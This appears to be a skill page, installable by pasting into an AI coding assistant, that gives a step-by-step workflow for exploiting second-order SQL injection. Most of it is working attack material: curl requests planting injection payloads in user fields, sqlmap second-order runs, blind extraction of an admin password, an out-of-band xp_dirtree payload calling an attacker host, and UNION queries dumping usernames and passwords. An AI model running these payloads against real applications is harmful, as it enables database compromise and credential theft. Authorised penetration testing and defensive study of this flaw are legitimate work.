Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.
When first-order SQL injection testing reveals proper input sanitization at storage time
During penetration testing of applications with user-generated content stored in databases
When testing multi-step workflows where stored data feeds subsequent database queries
During assessment of admin panels that display or process user-submitted data
When evaluating stored procedure execution paths that use previously stored data
How to CONFIRM a Hit (avoid false negatives)
The positive signal fires at the second context, not at storage: the payload is accepted/stored cleanly (often no error at insert), then triggers when a LATER query reads it back. Confirm by observing the effect at the trigger endpoint — a DB error, altered result set, time delay, or OOB callback when the stored value is reused.
Because storage is sanitized, a clean response at the storage step is EXPECTED and is not evidence of safety. Do not stop testing there.
Establish the trigger: store a benign marker, then exercise every place that data resurfaces (admin user list, profile render, password change using stored username, report/CSV/PDF export, search using saved prefs) until you find where it is concatenated into SQL.
Prove it with payloads that only manifest later:
Time-based: store '; WAITFOR DELAY '0:0:5'-- (or ||(SELECT sleep(5))) and confirm the trigger request is delayed ~5s.
OOB: store '; EXEC master..xp_dirtree '\\OOB\share'-- (or DB-specific DNS/HTTP) and confirm the callback fires on trigger.
Boolean: store payloads that flip the trigger page between two observable states.
Do NOT conclude negative until you have: mapped storage→trigger pairs across DIFFERENT users/roles (cross-context — admin viewing your data); tried multiple storage fields (username, display name, address, comment, file metadata); allowed for deferred execution (the trigger may run minutes/hours later, e.g. a cron report); and run sqlmap with --second-url/--second-req to automate the store-then-fire loop.
The proof is the second query breaking — never report on the storage response alone.
Prerequisites
Burp Suite Professional for request tracking across application flows
SQLMap with second-order injection support (--second-url flag)
Understanding of SQL injection fundamentals and blind extraction techniques
Two or more application functions (one for storing data, another for triggering execution)
Database error message monitoring or blind technique knowledge
Multiple user accounts for testing stored data across different contexts
Workflow
Step 1 — Identify Storage and Trigger Points
# Map the application to identify:# 1. STORAGE POINTS: Where user input is saved to database# - User registration (username, email, address)# - Profile update forms# - Comment/review submission# - File upload metadata# - Order/booking details# 2. TRIGGER POINTS: Where stored data is used in queries# - Admin panels displaying user data# - Report generation# - Search functionality using stored preferences# - Password reset using stored email# - Export/download features# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
-d "username=admin'--&password=test123&email=test@test.com"
Step 2 — Inject Payloads via Storage Points
# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
-d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"# Store injection in profile fields
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"# Store injection in address field
curl -X POST http://target.com/api/address \
-H "Cookie: session=AUTH_TOKEN" \
-d "address=123 Main St' OR 1=1--&city=Test&zip=12345"# Store injection in comment/review
curl -X POST http://target.com/api/review \
-H "Cookie: session=AUTH_TOKEN" \
-d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"
Step 3 — Trigger Execution of Stored Payloads
# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
-H "Cookie: session=AUTH_TOKEN" \
-d "old_password=Test1234&new_password=NewPass123"# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users
# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data
# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations
# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN""http://target.com/admin/reports?type=user-activity"
Step 4 — Use SQLMap for Second-Order Injection
# SQLMap with --second-url for second-order injection# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
--data="username=*&password=test&email=test@test.com" \
--second-url="http://target.com/profile" \
--cookie="session=AUTH_TOKEN" \
--batch --dbs
# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
--data="display_name=*" \
--second-req=trigger_request.txt \
--cookie="session=AUTH_TOKEN" \
--batch --tables
# Content of trigger_request.txt:# GET /admin/users HTTP/1.1# Host: target.com# Cookie: session=ADMIN_TOKEN
Step 5 — Blind Second-Order Extraction
# Boolean-based blind: Check if stored payload causes different behavior# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"# Trigger and observe response difference
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile
# Time-based blind second-order# Store: test'; WAITFOR DELAY '0:0:5'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test'; WAITFOR DELAY '0:0:5'--"# Out-of-band extraction via DNS# Store: test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'--
curl -X POST http://target.com/api/profile \
-H "Cookie: session=AUTH_TOKEN" \
-d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--"
Step 6 — Escalate to Full Database Compromise
# Once injection is confirmed, enumerate database# Store UNION-based payload
curl -X POST http://target.com/api/profile \
-d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--"# Extract credentials
curl -X POST http://target.com/api/profile \
-d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--"# Trigger execution and read results
curl http://target.com/profile
Key Concepts
Concept
Description
Second-Order Injection
SQL payload stored safely, then executed unsafely in a later operation
Storage Point
Application function where malicious input is saved to the database
Trigger Point
Separate function that retrieves stored data and uses it in an unsafe query
Trusted Data Assumption
Developer assumes database-stored data is safe, skipping parameterization
Stored Procedure Chains
Injection through stored procedures that use previously saved user data
Deferred Execution
Payload may not execute until hours or days after initial storage
Cross-Context Injection
Data stored by one user triggers execution in another user's context
Tools & Systems
Tool
Purpose
SQLMap
Automated SQL injection with --second-url support for second-order attacks
Burp Suite
Request tracking and comparison across storage and trigger endpoints
